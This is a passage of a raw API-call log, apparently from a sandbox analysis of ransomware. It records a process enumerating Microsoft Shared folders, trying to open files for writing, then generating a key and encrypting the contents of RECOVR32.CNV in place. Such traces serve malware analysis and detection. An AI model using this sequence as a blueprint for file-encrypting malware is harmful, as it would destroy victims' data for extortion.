dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.706] GetLastError () returned 0x5 [0145.706] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0145.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.707] GetLastError () returned 0x5 [0145.707] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0145.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.707] GetLastError () returned 0x5 [0145.707] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0145.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.707] GetLastError () returned 0x5 [0145.707] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0145.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.708] GetLastError () returned 0x5 [0145.708] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0145.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.709] GetLastError () returned 0x5 [0145.709] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0145.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.709] GetLastError () returned 0x5 [0145.709] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0145.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.710] GetLastError () returned 0x5 [0145.710] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0145.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.711] GetLastError () returned 0x5 [0145.711] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0145.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.711] GetLastError () returned 0x5 [0145.711] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0145.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.712] GetLastError () returned 0x5 [0145.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0145.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.712] GetLastError () returned 0x5 [0145.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0145.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.713] GetLastError () returned 0x5 [0145.713] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0145.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.713] GetLastError () returned 0x5 [0145.713] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0145.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.713] GetLastError () returned 0x5 [0145.713] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0145.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.714] GetLastError () returned 0x5 [0145.714] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0145.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.714] GetLastError () returned 0x5 [0145.714] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0145.714] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0145.715] GetProcessHeap () returned 0x2a0000 [0145.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0145.715] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0145.716] GetProcessHeap () returned 0x2a0000 [0145.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c22b0 [0145.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0145.716] GetProcessHeap () returned 0x2a0000 [0145.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0145.716] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.716] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0145.716] GetProcessHeap () returned 0x2a0000 [0145.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2c7d48 [0145.716] GetProcessHeap () returned 0x2a0000 [0145.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0145.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.717] GetProcessHeap () returned 0x2a0000 [0145.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.717] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.717] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0145.717] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.717] GetProcessHeap () returned 0x2a0000 [0145.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0145.717] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0145.717] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0145.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.717] GetProcessHeap () returned 0x2a0000 [0145.718] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.718] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.720] GetProcessHeap () returned 0x2a0000 [0145.720] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.720] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0145.720] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0145.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.721] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.721] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8f68, lpOverlapped=0x0) returned 1 [0145.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f70) returned 1 [0145.723] SetFilePointerEx (in: 